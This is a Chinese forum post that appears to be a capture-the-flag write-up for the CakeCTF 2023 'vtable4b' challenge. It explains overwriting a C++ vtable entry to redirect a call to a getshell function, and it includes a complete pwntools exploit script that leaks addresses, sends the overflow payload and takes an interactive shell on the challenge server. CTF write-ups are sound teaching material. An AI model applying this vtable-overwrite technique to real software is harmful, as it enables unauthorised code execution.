[分享]CakeCTF 2023 vtable4b
发表于:
2023-11-16 10:57
3682
[分享]CakeCTF 2023 vtable4b
由上图可以看到,dialogue()函数可以call地址(通过cowsy调用),而message()函数可以写入地址,并将它存入栈中。同时题目给了个getshell的地址,但这个地址每次打开程序都不一样。
这个vtable for Cowsay可以通过cowsay-->dialogue()来调用dialogue函数,那么可以想到思路:将message填充为getshell地址,然后填充垃圾数据覆盖到vtable for cowsay,将这块地址的内容覆盖为message函数地址。那么当我发送完payload后输入“1”执行Use cowsay调用dialogue函数,会使程序执行到message函数,进而call message函数使程序执行到getshell地址,最终拿到shell!
from pwn
import*p = remote('vtable4b.2023.cakectf.com','9000')
context(os="linux",arch="amd64",log_level='debug')
p.recvuntil(b'<win> = 0x')data = int(p.recv(12),16)#获取getshell地址(随机的,需要我们写脚本获取)
print("data ="+hex(data))p.recvuntil(b'>')
p.sendline(str(3))p.recvuntil(b'0x')
addr=int(p.recv(12),16)+0x10#获取message函数的地址,即0xea0 + 0x10 = 0xeb0
print("addr ="+hex(addr))
p.recvuntil(b'>')
p.sendline(str(2))
payload = p64(data)+b'A'*0x18 + p64(addr)#布置栈
p.sendline(payload)
p.interactive() 最后输入1调用Use cowsay,ls命令发现找不到flag,由于题目中提示flag在一个文件夹里,所以cd到上一级目录,找到flag
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)